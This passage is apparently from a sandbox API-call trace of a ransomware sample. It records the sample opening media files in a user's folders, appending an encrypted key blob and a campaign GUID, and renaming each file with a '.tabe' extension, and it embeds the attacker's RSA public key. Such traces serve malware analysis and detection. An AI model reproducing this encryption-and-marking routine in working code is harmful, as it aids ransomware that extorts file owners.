dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.179] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.179] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.179] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.179] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.179] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.179] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.180] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd79c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.180] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.180] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.180] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.180] CloseHandle (hObject=0x618) returned 1 [0127.182] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\X6kUjM_qbGQhMX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\x6kujm_qbgqhmx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ZdwCD4E1y\\X6kUjM_qbGQhMX.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zdwcd4e1y\\x6kujm_qbgqhmx.m4a.tabe")) returned 1 [0127.183] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f16250, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x426c2270, ftLastAccessTime.dwHighDateTime=0x1d5dd9b, ftLastWriteTime.dwLowDateTime=0x426c2270, ftLastWriteTime.dwHighDateTime=0x1d5dd9b, nFileSizeHigh=0x0, nFileSizeLow=0xd79c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="X6kUjM_qbGQhMX.m4a", cAlternateFileName="X6KUJM~1.M4A")) returned 0 [0127.183] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.183] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.183] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.184] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\") returned="JTvtdCNymG6\\" [0127.184] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.184] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.184] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.184] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.184] PathFindFileNameW (pszPath="") returned="" [0127.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6184b50, ftCreationTime.dwHighDateTime=0x1d5e5bb, ftLastAccessTime.dwLowDateTime=0x6138f7f0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x6138f7f0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.184] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6184b50, ftCreationTime.dwHighDateTime=0x1d5e5bb, ftLastAccessTime.dwLowDateTime=0x6138f7f0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x6138f7f0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.185] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72411c20, ftCreationTime.dwHighDateTime=0x1d5e3f5, ftLastAccessTime.dwLowDateTime=0x624d5740, ftLastAccessTime.dwHighDateTime=0x1d5e204, ftLastWriteTime.dwLowDateTime=0x624d5740, ftLastWriteTime.dwHighDateTime=0x1d5e204, nFileSizeHigh=0x0, nFileSizeLow=0xe5ee, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="jxUHEowr.mp4", cAlternateFileName="")) returned 1 [0127.185] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\jxUHEowr.mp4") returned=".mp4" [0127.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\jxUHEowr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\jxuheowr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.186] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=58862) returned 1 [0127.186] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.187] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe5c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.187] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.190] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xe5ee, lpOverlapped=0x0) returned 1 [0127.190] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.190] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.190] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.190] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.191] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.191] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.191] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.191] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.191] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.191] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.191] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.191] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.191] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.192] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.192] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe5ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.192] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.192] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.192] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.192] CloseHandle (hObject=0x618) returned 1 [0127.193] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\jxUHEowr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\jxuheowr.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\jxUHEowr.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\jxuheowr.mp4.tabe")) returned 1 [0127.195] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ad8c50, ftCreationTime.dwHighDateTime=0x1d5e177, ftLastAccessTime.dwLowDateTime=0xb94b94d0, ftLastAccessTime.dwHighDateTime=0x1d5de17, ftLastWriteTime.dwLowDateTime=0xb94b94d0, ftLastWriteTime.dwHighDateTime=0x1d5de17, nFileSizeHigh=0x0, nFileSizeLow=0xbbd9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MZIQT5Nb.avi", cAlternateFileName="")) returned 1 [0127.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\MZIQT5Nb.avi") returned=".avi" [0127.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\MZIQT5Nb.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\mziqt5nb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.195] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=48089) returned 1 [0127.195] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.196] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbbb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.196] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.197] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xbbd9, lpOverlapped=0x0) returned 1 [0127.198] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.198] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.198] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.198] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.199] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.199] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.199] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.199] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.199] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.199] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.199] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.199] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.199] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.199] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.200] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbbd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.200] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.200] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.200] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.200] CloseHandle (hObject=0x618) returned 1 [0127.201] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\MZIQT5Nb.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\mziqt5nb.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\MZIQT5Nb.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\mziqt5nb.avi.tabe")) returned 1 [0127.202] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26c03150, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0xf32570e0, ftLastAccessTime.dwHighDateTime=0x1d5d7b4, ftLastWriteTime.dwLowDateTime=0xf32570e0, ftLastWriteTime.dwHighDateTime=0x1d5d7b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sE-NiL1R9vqu7", cAlternateFileName="SE-NIL~1")) returned 1 [0127.202] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f02140, ftCreationTime.dwHighDateTime=0x1d5e60e, ftLastAccessTime.dwLowDateTime=0xf0674b00, ftLastAccessTime.dwHighDateTime=0x1d5da14, ftLastWriteTime.dwLowDateTime=0xf0674b00, ftLastWriteTime.dwHighDateTime=0x1d5da14, nFileSizeHigh=0x0, nFileSizeLow=0x9cc4, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SIVvc St9Ao.swf", cAlternateFileName="SIVVCS~1.SWF")) returned 1 [0127.202] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\SIVvc St9Ao.swf") returned=".swf" [0127.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\SIVvc St9Ao.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\sivvc st9ao.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.203] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=40132) returned 1 [0127.203] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.204] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9c9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.204] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.205] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x9cc4, lpOverlapped=0x0) returned 1 [0127.206] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.206] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.206] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.206] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.207] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.207] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.207] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.207] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.207] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.207] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.207] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.207] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.207] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.207] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.207] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.208] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: 